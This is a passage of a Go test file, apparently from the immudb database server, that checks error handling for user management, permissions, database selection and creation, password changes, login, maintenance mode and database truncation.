err)\n\n\t// WriteFile error\n\terrWriteFile := errors.New(\"WriteFile error\")\n\timmuOS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error {\n\t\treturn errWriteFile\n\t}\n\terr = s.updateConfigItem(\"key3\", \"key3 = value3\", func(string) bool { return false })\n\trequire.ErrorIs(t, err, errWriteFile)\n}\n\nfunc TestServerPID(t *testing.T) {\n\tdir := t.TempDir()\n\n\top := DefaultOptions().\n\t\tWithDir(filepath.Join(dir, \"data\")).\n\t\tWithAuth(false).\n\t\tWithMaintenance(false).WithPidfile(filepath.Join(dir, \"pidfile\"))\n\ts, closer := testServer(op)\n\tdefer closer()\n\n\terr := s.setupPidFile()\n\trequire.NoError(t, err)\n}\n\nfunc TestServerErrors(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tadminCtx := context.Background()\n\tlr, err := s.Login(adminCtx, &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t})\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tadminCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\t// insertNewUser errors\n\t_, _, err = s.insertNewUser(context.Background(), []byte(\"%\"), nil, 1, DefaultDBName, auth.SysAdminUsername)\n\trequire.ErrorContains(t, err, \"username can only contain letters, digits and underscores\")\n\n\tusername := \"someusername\"\n\tusernameBytes := []byte(username)\n\tpassword := \"$omePassword1\"\n\tpasswordBytes := []byte(password)\n\n\t_, _, err = s.insertNewUser(context.Background(), usernameBytes, passwordBytes, 99, DefaultDBName, auth.SysAdminUsername)\n\trequire.ErrorContains(t, err, \"unknown permission\")\n\n\t// getLoggedInUserDataFromUsername errors\n\tuserdata := s.userdata.Userdata[username]\n\tdelete(s.userdata.Userdata, username)\n\t_, err = s.getLoggedInUserDataFromUsername(username)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\ts.userdata.Userdata[username] = userdata\n\n\t// getDBFromCtx errors\n\tadminUserdata := s.userdata.Userdata[auth.SysAdminUsername]\n\tdelete(s.userdata.Userdata, auth.SysAdminUsername)\n\ts.Options.maintenance = true\n\t_, err = s.getDBFromCtx(adminCtx, \"ListUsers\")\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\ts.userdata.Userdata[auth.SysAdminUsername] = adminUserdata\n\ts.Options.maintenance = false\n\n\t// SetActiveUser errors\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: \"\", Active: false})\n\trequire.ErrorContains(t, err, \"username can not be empty\")\n\n\ts.Options.auth = false\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: username, Active: false})\n\trequire.ErrorContains(t, err, \"this command is available only with authentication on\")\n\ts.Options.auth = true\n\n\tdelete(s.userdata.Userdata, auth.SysAdminUsername)\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: username, Active: false})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\ts.userdata.Userdata[auth.SysAdminUsername] = adminUserdata\n\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: auth.SysAdminUsername, Active: false})\n\trequire.ErrorContains(t, err, \"changing your own status is not allowed\")\n\n\t_, err = s.CreateUser(adminCtx, &schema.CreateUserRequest{\n\t\tUser:       usernameBytes,\n\t\tPassword:   passwordBytes,\n\t\tPermission: 1,\n\t\tDatabase:   DefaultDBName,\n\t})\n\trequire.NoError(t, err)\n\n\tuserCtx := context.Background()\n\n\tlr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.SetActiveUser(userCtx, &schema.SetActiveUserRequest{Username: auth.SysAdminUsername, Active: false})\n\trequire.ErrorContains(t, err, \"user is not system admin nor admin in any of the databases\")\n\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: \"nonexistentuser\", Active: false})\n\trequire.ErrorContains(t, err, \"user nonexistentuser not found\")\n\n\t// ChangePermission errors\n\tcpr := &schema.ChangePermissionRequest{\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tUsername:   username,\n\t\tDatabase:   SystemDBName,\n\t\tPermission: 2,\n\t}\n\t_, err = s.ChangePermission(adminCtx, cpr)\n\trequire.ErrorIs(t, err, ErrPermissionDenied)\n\n\t_, err = s.Logout(userCtx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n\tcpr.Database = DefaultDBName\n\ts.Options.auth = false\n\t_, err = s.ChangePermission(userCtx, cpr)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\ts.Options.auth = true\n\n\tdelete(s.userdata.Userdata, auth.SysAdminUsername)\n\t_, err = s.ChangePermission(userCtx, cpr)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\ts.userdata.Userdata[auth.SysAdminUsername] = adminUserdata\n\n\tcpr.Username = \"\"\n\t_, err = s.ChangePermission(userCtx, cpr)\n\trequire.Contains(t, err.Error(), \"username can not be empty\")\n\n\tcpr.Username = username\n\tcpr.Database = \"\"\n\t_, err = s.ChangePermission(userCtx, cpr)\n\terrStatus, _ := status.FromError(err)\n\trequire.Equal(t, codes.InvalidArgument, errStatus.Code())\n\trequire.Equal(t, \"database can not be empty\", errStatus.Message())\n\n\tcpr.Database = DefaultDBName\n\tcpr.Action = 99\n\t_, err = s.ChangePermission(userCtx, cpr)\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.InvalidArgument, errStatus.Code())\n\trequire.Equal(t, \"action not recognized\", errStatus.Message())\n\tcpr.Action = schema.PermissionAction_GRANT\n\n\tcpr.Permission = 99\n\t_, err = s.ChangePermission(userCtx, cpr)\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.InvalidArgument, errStatus.Code())\n\trequire.Equal(t, \"unrecognized permission\", errStatus.Message())\n\n\tcpr.Permission = auth.PermissionRW\n\n\tuserCtx = context.Background()\n\tlr, err = s.Login(userCtx, &schema.LoginRequest{\n\t\tUser:     []byte(username),\n\t\tPassword: []byte(password),\n\t})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\tcpr.Username = username\n\t_, err = s.ChangePermission(userCtx, cpr)\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, \"changing your own permissions is not allowed\", errStatus.Message())\n\n\tcpr.Username = \"nonexistentuser\"\n\t_, err = s.ChangePermission(userCtx, cpr)\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.NotFound, errStatus.Code())\n\trequire.Equal(t, fmt.Sprintf(\"user %s not found\", cpr.Username), errStatus.Message())\n\n\tcpr.Username = auth.SysAdminUsername\n\t_, err = s.ChangePermission(userCtx, cpr)\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, \"changing sysadmin permissions is not allowed\", errStatus.Message())\n\n\tcpr.Username = username\n\n\tcpr.Action = schema.PermissionAction_REVOKE\n\t_, err = s.ChangePermission(adminCtx, cpr)\n\trequire.NoError(t, err)\n\n\tcpr.Action = schema.PermissionAction_GRANT\n\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: false, Username: username})\n\trequire.NoError(t, err)\n\n\t_, err = s.ChangePermission(adminCtx, cpr)\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.FailedPrecondition, errStatus.Code())\n\trequire.Equal(t, fmt.Sprintf(\"user %s is not active\", username), errStatus.Message())\n\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: true, Username: username})\n\trequire.NoError(t, err)\n\n\t// UseDatabase errors\n\ts.Options.auth = false\n\t_, err = s.UseDatabase(adminCtx, &schema.Database{DatabaseName: DefaultDBName})\n\trequire.ErrorContains(t, err, \"this command is available only with authentication on\")\n\ts.Options.auth = true\n\n\t_, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: DefaultDBName})\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.Unauthenticated, errStatus.Code())\n\trequire.Equal(t, \"Please login\", errStatus.Message())\n\n\t_, err = s.UseDatabase(adminCtx, &schema.Database{DatabaseName: SystemDBName})\n\trequire.NoError(t, err)\n\n\tlr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: SystemDBName})\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.PermissionDenied, errStatus.Code())\n\n\tsomeDb1 := \"somedatabase1\"\n\t_, err = s.CreateDatabaseWith(adminCtx, &schema.DatabaseSettings{DatabaseName: someDb1})\n\trequire.NoError(t, err)\n\n\t_, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: someDb1})\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.PermissionDenied, errStatus.Code())\n\n\ts.Options.maintenance = true\n\t_, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: DefaultDBName})\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.PermissionDenied, errStatus.Code())\n\n\ts.Options.maintenance = false\n\n\t_, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: \"nonexistentdb\"})\n\terrStatus, _ = status.FromError(err)\n\trequire.Equal(t, codes.NotFound, errStatus.Code())\n\trequire.Equal(t, \"'nonexistentdb' does not exist\", errStatus.Message())\n\n\t// DatabaseList errors\n\ts.Options.auth = false\n\t_, err = s.DatabaseList(userCtx, new(emptypb.Empty))\n\trequire.ErrorContains(t, err, \"this command is available only with authentication on\")\n\ts.Options.auth = true\n\n\t_, err = s.DatabaseList(context.Background(), new(emptypb.Empty))\n\trequire.ErrorContains(t, err, \"please login\")\n\n\tcpr = &schema.ChangePermissionRequest{\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tUsername:   username,\n\t\tDatabase:   DefaultDBName,\n\t\tPermission: 2,\n\t}\n\t_, err = s.ChangePermission(adminCtx, cpr)\n\trequire.NoError(t, err)\n\n\tlr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\trequire.NoError(t, err)\n\t_, err = s.DatabaseList(userCtx, new(emptypb.Empty))\n\trequire.NoError(t, err)\n\n\t// ListUsers errors\n\ts.Options.auth = false\n\t_, err = s.ListUsers(userCtx, new(emptypb.Empty))\n\trequire.ErrorContains(t, err, \"this command is available only with authentication on\")\n\ts.Options.auth = true\n\n\t_, err = s.ListUsers(context.Background(), new(emptypb.Empty))\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t// CreateUser errors\n\tusername2 := \"someusername2\"\n\tusername2Bytes := []byte(username2)\n\tpassword2 := \"$omePassword2\"\n\tpassword2Bytes := []byte(password2)\n\tcreateUser2Req := &schema.CreateUserRequest{\n\t\tUser:       nil,\n\t\tPassword:   password2Bytes,\n\t\tPermission: auth.PermissionRW,\n\t\tDatabase:   someDb1,\n\t}\n\n\ts.Options.auth = false\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"this command is available only with authentication on\")\n\ts.Options.auth = true\n\n\t_, err = s.CreateUser(context.Background(), createUser2Req)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"username can not be empty\")\n\n\tcreateUser2Req.User = username2Bytes\n\tcreateUser2Req.Database = \"\"\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"database name can not be empty when there are multiple databases\")\n\n\tcreateUser2Req.Database = \"nonexistentdb\"\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"database nonexistentdb does not exist\")\n\n\tcreateUser2Req.Database = someDb1\n\tcreateUser2Req.Permission = auth.PermissionNone\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"unrecognized permission\")\n\n\tcreateUser2Req.Permission = auth.PermissionRW\n\t_, err = s.CreateUser(userCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"you do not have permission on this database\")\n\n\tcreateUser2Req.Permission = auth.PermissionSysAdmin\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"can not create another system admin\")\n\n\tcreateUser2Req.Permission = auth.PermissionRW\n\tcreateUser2Req.User = usernameBytes\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.ErrorContains(t, err, \"user already exists\")\n\n\t// CreateDatabase errors\n\tsomeDb2 := \"somedatabase2\"\n\tcreateDbReq := &schema.DatabaseSettings{DatabaseName: someDb2}\n\ts.Options.auth = false\n\t_, err = s.CreateDatabaseWith(adminCtx, createDbReq)\n\trequire.ErrorIs(t, err, ErrAuthMustBeEnabled)\n\ts.Options.auth = true\n\n\t_, err = s.CreateDatabaseWith(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = s.CreateDatabaseWith(context.Background(), createDbReq)\n\trequire.ErrorContains(t, err, \"could not get loggedin user data\")\n\n\t_, err = s.CreateDatabaseWith(userCtx, createDbReq)\n\trequire.ErrorContains(t, err, \"loggedin user does not have permissions for this operation\")\n\n\tcreateDbReq.DatabaseName = SystemDBName\n\t_, err = s.CreateDatabaseWith(adminCtx, createDbReq)\n\trequire.ErrorIs(t, err, ErrReservedDatabase)\n\tcreateDbReq.DatabaseName = someDb2\n\n\tcreateDbReq.DatabaseName = \"\"\n\t_, err = s.CreateDatabaseWith(adminCtx, createDbReq)\n\trequire.ErrorContains(t, err, \"database name length outside of limits\")\n\n\tcreateDbReq.DatabaseName = someDb1\n\t_, err = s.CreateDatabaseWith(adminCtx, createDbReq)\n\trequire.ErrorIs(t, err, database.ErrDatabaseAlreadyExists)\n\n\t// ChangePassword errors\n\ts.Options.auth = false\n\tchangePassReq := &schema.ChangePasswordRequest{\n\t\tUser:        usernameBytes,\n\t\tOldPassword: passwordBytes,\n\t\tNewPassword: password2Bytes,\n\t}\n\t_, err = s.ChangePassword(adminCtx, changePassReq)\n\trequire.ErrorContains(t, err, \"this command is available only with authentication on\")\n\ts.Options.auth = true\n\n\t_, err = s.ChangePassword(context.Background(), changePassReq)\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\tchangePassReq.User = []byte(auth.SysAdminUsername)\n\tchangePassReq.OldPassword = []byte(\"incorrect\")\n\t_, err = s.ChangePassword(adminCtx, changePassReq)\n\trequire.ErrorContains(t, err, \"old password is incorrect\")\n\n\tchangePassReq.User = usernameBytes\n\tchangePassReq.OldPassword = passwordBytes\n\t_, err = s.ChangePassword(userCtx, changePassReq)\n\trequire.ErrorContains(t, err, \"user is not system admin nor admin in any of the databases\")\n\n\tchangePassReq.User = nil\n\t_, err = s.ChangePassword(adminCtx, changePassReq)\n\trequire.ErrorContains(t, err, \"username can not be empty\")\n\n\tchangePassReq.User = []byte(\"nonexistent\")\n\t_, err = s.ChangePassword(adminCtx, changePassReq)\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"user %s was not found or it was not created by you\", changePassReq.User))\n\n\t_, err = s.ChangePermission(adminCtx, &schema.ChangePermissionRequest{\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tUsername:   username,\n\t\tDatabase:   someDb1,\n\t\tPermission: auth.PermissionAdmin,\n\t})\n\trequire.NoError(t, err)\n\n\tlr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\trequire.NoError(t, err)\n\tcreateUser2Req = &schema.CreateUserRequest{\n\t\tUser:       username2Bytes,\n\t\tPassword:   password2Bytes,\n\t\tPermission: auth.PermissionAdmin,\n\t\tDatabase:   someDb1,\n\t}\n\t_, err = s.CreateUser(adminCtx, createUser2Req)\n\trequire.NoError(t, err)\n\n\tchangePassReq.User = username2Bytes\n\tchangePassReq.OldPassword = password2Bytes\n\tpassword2New := []byte(\"$omePassword2New\")\n\tpassword2NewBytes := []byte(password2New)\n\tchangePassReq.NewPassword = password2NewBytes\n\t_, err = s.ChangePassword(userCtx, changePassReq)\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"user %s was not found or it was not created by you\", changePassReq.User))\n\n\t// Not logged in errors on DB operations\n\temptyCtx := context.Background()\n\t_, err = s.VerifiableZAdd(emptyCtx, &schema.VerifiableZAddRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\t_, err = s.SetReference(emptyCtx, &schema.ReferenceRequest{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\t_, err = s.UpdateMTLSConfig(emptyCtx, &schema.MTLSConfig{})\n\trequire.ErrorIs(t, err, ErrNotSupported)\n\t_, err = s.UpdateAuthConfig(emptyCtx, &schema.AuthConfig{})\n\trequire.ErrorIs(t, err, ErrNotSupported)\n\t_, err = s.Count(context.Background(), &schema.KeyPrefix{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\t_, err = s.CountAll(context.Background(), &emptypb.Empty{})\n\trequire.ErrorIs(t, err, ErrNotLoggedIn)\n\n\t// Login errors\n\ts.Options.auth = false\n\t_, err = s.Login(emptyCtx, &schema.LoginRequest{})\n\trequire.ErrorContains(t, err, \"server is running with authentication disabled, please enable authentication to login\")\n\ts.Options.auth = true\n\n\t_, err = s.Login(emptyCtx, &schema.LoginRequest{User: []byte(\"nonexistent\")})\n\trequire.ErrorContains(t, err, \"invalid user name or password\")\n\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: false, Username: username})\n\trequire.NoError(t, err)\n\n\t_, err = s.Login(emptyCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes})\n\trequire.ErrorContains(t, err, \"user is not active\")\n\n\t_, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: true, Username: username})\n\trequire.NoError(t, err)\n\n\tlr, err = s.Login(userCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes})\n\trequire.NoError(t, err)\n\n\tmd = metadata.Pairs(\"authorization\", lr.Token)\n\tuserCtx = metadata.NewIncomingContext(context.Background(), md)\n\n\t// setup PID\n\tOS := s.OS.(*immuos.StandardOS)\n\tbaseFOK := OS.BaseF\n\tOS.BaseF = func(path string) string {\n\t\treturn \".\"\n\t}\n\ts.Options.Pidfile = \"pidfile\"\n\tdefer os.Remove(s.Options.Pidfile)\n\trequire.ErrorContains(t, s.setupPidFile(), fmt.Sprintf(\"Pid filename is invalid: %s\", s.Options.Pidfile))\n\tOS.BaseF = baseFOK\n\n\t// print usage call-to-action\n\ts.Options.Logfile = \"TestUserAndDatabaseOperations.log\"\n\ts.printUsageCallToAction()\n}\n\nfunc TestServerGetUserAndUserExists(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\trequire.NoError(t, err)\n\tusername := \"someuser\"\n\t_, err = s.CreateUser(ctx, &schema.CreateUserRequest{\n\t\tUser:       []byte(username),\n\t\tPassword:   []byte(\"Somepass1$\"),\n\t\tPermission: 1,\n\t\tDatabase:   DefaultDBName})\n\trequire.NoError(t, err)\n\trequire.NoError(t, err)\n\n\t_, err = s.getUser(context.Background(), []byte(username))\n\trequire.NoError(t, err)\n\n\t_, err = s.getValidatedUser(context.Background(), []byte(username), []byte(\"wrongpass\"))\n\trequire.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword)\n\n\t_, err = s.getValidatedUser(context.Background(), []byte(username), nil)\n\trequire.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword)\n\n\t_, err = s.getValidatedUser(context.Background(), []byte(username), []byte{})\n\trequire.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword)\n}\n\nfunc TestServerIsValidDBName(t *testing.T) {\n\terr := isValidDBName(\"\")\n\trequire.ErrorContains(t, err, \"database name length outside of limits\")\n\n\terr = isValidDBName(strings.Repeat(\"a\", 129))\n\trequire.ErrorContains(t, err, \"database name length outside of limits\")\n\n\terr = isValidDBName(\" \")\n\trequire.ErrorContains(t, err, \"unrecognized character in database name\")\n\n\terr = isValidDBName(\"-\")\n\trequire.ErrorContains(t, err, \"punctuation marks and symbols are not allowed in database name\")\n\n\terr = isValidDBName(\"_\")\n\trequire.NoError(t, err)\n\n\terr = isValidDBName(strings.Repeat(\"a\", 32))\n\trequire.NoError(t, err)\n\n\terr = isValidDBName(\"_\")\n\trequire.NoError(t, err)\n}\n\nfunc TestServerMandatoryAuth(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.CreateUser(ctx, &schema.CreateUserRequest{\n\t\tUser:       []byte(\"someuser\"),\n\t\tPassword:   []byte(\"Somepass1$\"),\n\t\tPermission: 1,\n\t\tDatabase:   DefaultDBName,\n\t})\n\trequire.NoError(t, err)\n\trequire.True(t, s.mandatoryAuth())\n}\n\nfunc TestServerLoginAttempWithEmptyPassword(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(``),\n\t}\n\tctx := context.Background()\n\t_, err = s.Login(ctx, r)\n\n\trequire.Contains(t, err.Error(), \"invalid user name or password\")\n}\n\nfunc TestServerMaintenanceMode(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithMaintenance(true).\n\t\tWithAuth(false)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\t_, err = s.CreateUser(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.ChangePassword(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.ChangePermission(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.SetActiveUser(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.CreateDatabaseWith(context.Background(), &schema.DatabaseSettings{})\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.UpdateDatabase(context.Background(), &schema.DatabaseSettings{})\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.Set(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.VerifiableSet(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.SetReference(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.VerifiableSetReference(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.ZAdd(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.VerifiableZAdd(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.Delete(context.Background(), nil)\n\trequire.Contains(t, err.Error(), store.ErrIllegalArguments.Error())\n\n\t_, err = s.Delete(context.Background(), &schema.DeleteKeysRequest{})\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.ExecAll(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\t_, err = s.SQLExec(context.Background(), nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\terr = s.StreamSet(nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\terr = s.StreamVerifiableSet(nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n\n\terr = s.StreamExecAll(nil)\n\trequire.Contains(t, err.Error(), ErrNotAllowedInMaintenanceMode.Error())\n}\n\nfunc TestServerDatabaseTruncate(t *testing.T) {\n\tdir := t.TempDir()\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\ts.WithOptions(opts)\n\n\ts.Initialize()\n\n\t_, err := s.KeepAlive(context.Background(), &emptypb.Empty{})\n\trequire.Error(t, err)\n\n\t_, err = s.OpenSession(context.Background(), nil)\n\trequire.Error(t, err)\n\n\tresp, err := s.OpenSession(context.Background(), &schema.OpenSessionRequest{\n\t\tUsername:     []byte(auth.SysAdminUsername),\n\t\tPassword:     []byte(auth.SysAdminPassword),\n\t\tDatabaseName: DefaultDBName,\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = s.KeepAlive(context.Background(), &emptypb.Empty{})\n\trequire.Error(t, err)\n\n\tctx := metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{\"sessionid\": resp.GetSessionID()}))\n\n\t_, err = s.KeepAlive(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n\n\tt.Run(\"attempt to delete without retention period should fail\", func(t *testing.T) {\n\t\t_, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{\n\t\t\tName: \"db1\",\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.UseDatabase(ctx, &schema.Database{DatabaseName: \"db1\"})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{})\n\t\trequire.Error(t, err)\n\t})\n\n\tt.Run(\"attempt to delete without database should fail\", func(t *testing.T) {\n\t\t_, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{})\n\t\trequire.Error(t, err)\n\t})\n\n\tt.Run(\"attempt to delete with retention period < 0 should fail\", func(t *testing.T) {\n\t\t_, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{\n\t\t\tDatabase:        \"db1\",\n\t\t\tRetentionPeriod: -1,\n\t\t})\n\t\trequire.Error(t, err)\n\t})\n\n\tt.Run(\"attempt to delete with retention period < 1 day should fail\", func(t *testing.T) {\n\t\trp := 23 * time.Hour\n\t\t_, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{\n\t\t\tDatabase:        \"db1\",\n\t\t\tRetentionPeriod: rp.Milliseconds(),\n\t\t})\n\t\trequire.Error(t, err)\n\t})\n\n\tt.Run(\"attempt to delete with retention period >= 1 day should fail if retention period is not reached\", func(t *testing.T) {\n\t\t_, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: \"db1\"})\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < 64; i++ {\n\t\t\t_, err = s.Set(ctx, &schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey:   []byte(fmt.Sprintf(\"key%d\", i)),\n\t\t\t\t\t\tValue: []byte(fmt.Sprintf(\"value%d\", i)),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\trp := 24 * time.Hour\n\n\t\t_, err = s.TruncateDatabase(ctx, 